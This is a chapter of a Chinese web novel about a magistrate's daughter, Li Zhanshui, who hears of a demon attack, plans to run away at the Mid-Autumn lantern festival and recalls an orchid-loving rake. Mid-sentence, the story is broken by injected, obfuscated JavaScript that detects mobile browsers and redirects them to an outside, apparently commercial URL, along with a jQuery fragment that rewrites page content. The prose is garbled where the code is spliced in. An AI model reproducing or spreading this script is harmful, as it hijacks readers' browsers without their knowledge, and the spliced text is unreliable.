“小姐,你听说了吗?郑南县出大事了!”婢女罗衣咋咋呼呼地进来。
这个婢女身量尚小,音量却颇巨,隔着老远就能听见她的声音。
“可是大月湖的妖祸?”李湛水方才从一卷《医道杂文录》抬头,问道。
听到这话的罗衣愕然,“小姐如何得知?这事儿今早才传来……”
“今早父亲书房的门没关严,”李湛水放下书卷,“我不小心路过,碰巧听见几句。”
说得轻巧,没提去书房那么远,自己如何路过的,如何恰巧听到几句。总之就是碰巧听到了。
这些话只能糊弄单纯的罗衣,要是夫人在这就会找出问题了。
小婢女罗衣浑然不觉,还绘声绘色地讲述着。
“大月湖里闹了妖怪,一个妇人被吃得就剩半截胳膊了!吓死人了血淋淋的,那寡妇的儿子,眼睛都恨红了,嚷嚷着要报仇呢。别的村民也遭到了毒手……我知道小姐最感兴趣这些,特意打听来。”
妖?这词儿李湛水只在书里见过。
李湛水向来与人不同,最喜欢那些野史稗文,对这种事格外的感兴趣。
那些医书看多了,李湛水会换换口味,偷偷看一些不合规矩的东西。
私下里评鉴比如江湖奇案录、断案杂记、民间怪谈、鬼狐趣闻。特别是野史、禁书,还有风月小说,更是来者不拒。
甚至李湛水的床底下还有一本父亲书房“借”来的春宫。
别家的小姐绣鸳鸯,李湛水她比较喜欢看鸳鸯。
兴元府太平了几十年,妖物早成了传说,越发勾起了她的兴趣。
李湛水边听边取来兴元府舆图,在郑南县的位置,用朱砂点了一个小小的点。
这舆图也是从父亲的幕僚那里“借”来的。与其说是借,不如说是自取,有借无还的那种。
里面州郡县府一应俱全,朱色的信息清晰可见。古墨今朱,上面还用墨笔细细标注着旧矿脉,古道观,前朝驿道。
李湛水誊抄了一份,私下里总喜欢指点江山。
“大月湖离我们不远,不知道有没有被妖伤了要看病疗伤的人。”
“小姐心善。自有官府和仙师管呢,轮不到咱们操心。仙师出手早就平了,哪还有什么担心的?”
“若是仙师……根本不是来除妖的呢?”李湛水忽然反问,手指按在那个朱砂点上。
李湛水脑海里突然想到书房前听到的。
仙人来的太快,不符合常理。
“要不我们去看看?就当见见世面,妖难得一见,错过多可惜。”
罗衣明显被她脱口而出吓住了,她的小姐又开始语出惊人了。
“小姐,这多危险啊!你再这么胡说,外面又会有人在传闲话,说你脑子不好使。夫人肯定要罚你抄写经书的。”
李湛水不再言语,盯着舆图看了很久,然后缓缓起身,从妆奁底层翻出一枚旧铜钱。
那是小时候一个游方道士给的铜钱,这道士说来可恨,收了一大笔钱还给她做出了不祥的断言。
说她身患癔病,头有反骨,与常人不同。
当时那个道士摇头晃脑装神弄鬼,来长史府前招摇撞骗。夫人心善,给了些赏银,道士借势提出为小儿算命。
夫人见着道士补丁微污的黄褂道袍,迟疑地本想拒绝。这道士谄媚的笑还没消失,就摸上了李湛水的手骨。
游方道士摸上后脸色一变,掐指一算,语气顷刻凝重,“此女身患癔症,脑后生有反骨,命格异于常人,实属不详之兆,唯有随贫道入观清修,方可化解此煞。”
“你才有病!你凭什么说我有病?”六岁的李湛水下意识的反驳,这话说的太像江湖骗子了,十有八个拐子会这么说。
游方道士悠悠叹息,像是料到她会这么说,“你看,这就发作了,可见贫道所言非虚。”
“无凭无据的,你凭什么这么说我,故意在激怒我。”
这个游方道士不仅没有收敛,反而更加理所当然,指着她,“哼,这就是反骨,你还敢反驳贫道,小小年纪反骨骤生!”
李湛水起初还跟他理论,很快她就发现这臭道士的不要脸。不理论了,朝指着他的手指就是狠狠一口。
一口咬下去,道士语气诚恳了,也不提反骨了,学会好好说话了,还给她开了方子。
“疼疼疼……好了好了,不随上山也是有办法的,只需按照贫道的方子煎服这些药。你先松口!”
末了,道士收起自己被咬的手,重新恢复成那个一本正经的样子,“贫道与此女也算有缘。赠予此物,往后若遇难事,可掷钱问路。”
李湛水从来不信这些,由于这个臭道士所行所说,对他好感全无。
见旧铜钱破破烂烂的,还有些嫌弃,权当从了长辈的心意留下了铜钱。
李湛水一直当笑话收着这铜钱,此刻却鬼使神差,往上一抛。
铜钱落下,正面朝上。
去?李湛水愣了愣,忽然笑出声来。她摇摇头,觉得自己荒唐可笑。
就算这次抛出正面朝上又如何?自己再重新抛一次,十次,百次,总不可能次次都是正面朝上吧。
掷钱问路无稽之谈,可笑至极!
于是,她又抛了第二次,第三次,第四次……
邪了门了,连续十次都是正面朝上。
李湛水盯着那个铜钱,眼神开始恍惚,“那个寡妇的儿子,叫什么名字?”
罗衣一愣,“这……倒没听说。”
“让小厮去打听照看。”
“小姐,这……”
“别让人知道。我欲日积一善,医书上写了要修身养性。”
罗衣“诺”了一声,不敢再提半分,生怕李湛水再语出惊人。
三日后,便是中秋灯会了。挂花灯、猜灯谜、拜庙会自然是当下城中少女更加感兴趣的。
李湛水对此期待好久了,却不是期待灯会。
灯会?李湛水已经看了十四年了,早就深深地腻味了。
她要离家出走,她要浪迹天涯,要行一条自己的道。逃跑路线都规划好了,就在那张图上。
听这类妖魔故事无非是解闷。饶是最活泼的小姐,出门也是有限度的。
有趣的时光是如此的短暂,仿佛第二天就付诸流水,奔走东西。一转眼容貌年华都已经是云烟。
及时行乐,李湛水一直向往外面自由的生活,早早厌弃了这个烦闷的樊笼。
马上就是中秋节了,每年城里都会开一场盛大的中秋灯会。
月色如银,万里一碧。
此地有桩唐明皇游月宫旧事。
天子在月宫游玩流连,回来后念念不忘清虚广寒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525030|203447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,年年中秋奏乐焚香,与素娥化的杨贵妃缠绵。
后来贵家也效仿着这段传奇。街上会涌出一大批面容遮着轻纱的年轻小姐出门玩月。装扮成各类的月神仙子,去游玩欣赏灯会。
这是年轻女子为数不多能自由自在在外行走的时候。
借这个机会,李湛水准备脚底抹油开遛。她看了那么多春宫,忽然自己也想做野鸳鸯。
做鸳鸯,总要成双成对吧?她要闯荡江湖,那么不可免俗要有个风流逸事,江湖谈资。
于是李湛水在给自己物色。
少女的心事藏在兰花下,回忆飘回几个月前。
前院里有一墨兰,疏离浓郁,馨香满园。这兰花是李湛水的母亲栖霞县主留下的心爱之物。
这院子里来来去去都是俗人,名利场上来来往往谁会为花驻下脚步呢?第一个欣赏这兰花的是个贼,也不完全是个贼。
张侃是个浪荡子弟,堪称标准浪荡子弟。
若说杨公子是九天明月,那张侃便是人间一缕不安分的风流焰火。
相貌标致,却不学无术。走马斗鸡,流连楚馆,绝对是一顶一的好手。
张侃拿自己的人生诠释着人不风流枉少年。
唯独有一项不匹配的爱好,那就是过于喜欢兰花。这样一个声名在外的纨绔子弟,却有一个极不相称的癖好:痴爱兰花如命。
他爱兰成痴,并非附庸风雅,那是一种近乎纯粹的迷恋。张侃多情却不滥情,把一腔柔情都倾注在兰花上。
他常常在家摆弄兰花,状若痴儿。当他凝视兰花时,那双惯常漫不经心的桃花眼里,会流露出一种近乎虔诚的温柔,仿佛在注视毕生所爱。
在这个院子里,张侃望着墨兰眼神痴了,他那痴情种的神态,饶是谁也不会认为他是个风流浪子。
张侃那一双桃花眼似醉非醉,又观花荡漾满含柔情。对着那个方向,李湛水隔着花丛看他,遥遥倾心于那双痴眼。
李湛水见他神色端庄虔诚。明明近在咫尺,却因他那份超然物外的神情,让人觉得隔了天涯之远。
李湛水突然心灵福至的想起来,张侃也是谈古赋诗长大的少年啊。或许并不像大家所看到的那样轻浮浪荡。也许,轮到自己慧眼识英雄了。
李湛水内心闪过无数的传奇……崔莺莺、红拂女、倩女……可泣可诉、感天动地的爱情故事。
书生小姐偶然对上眼,在小花园里就私定了终身。小姐突然就害了相思,一病不起。
中间加上坎坷不平七绕八拐,配上凄美动人掉眼泪的情节。最后书生考上状元,幸福美满大团圆。小姐投资成功,那慧眼识英雄的佳人,于微末中识得明珠。
恰巧这樊笼一天都待不下去了。脑补中的荡气回肠的情节,一个念头如电光石火般击中李湛水。她在心里给这出戏起名叫《慧眼识珠传》。
于是李湛水准备付出行动了。还没等李湛水收拾好包袱,准备来一场盛大的私奔,这是李湛水能想到最大的叛逆。
前院传来消息,院子里那株名贵的墨兰被偷了。府中上下哗然,皆道是遭了贼。
李湛水愣在房中,半晌回不过神。那个对着墨兰露出虔诚目光的少年。难道他眼中的痴迷,并非欣赏,而是……觊觎?
李湛水的臆想到此结束。从第一幕直接跳到第十二幕,已断丝萝。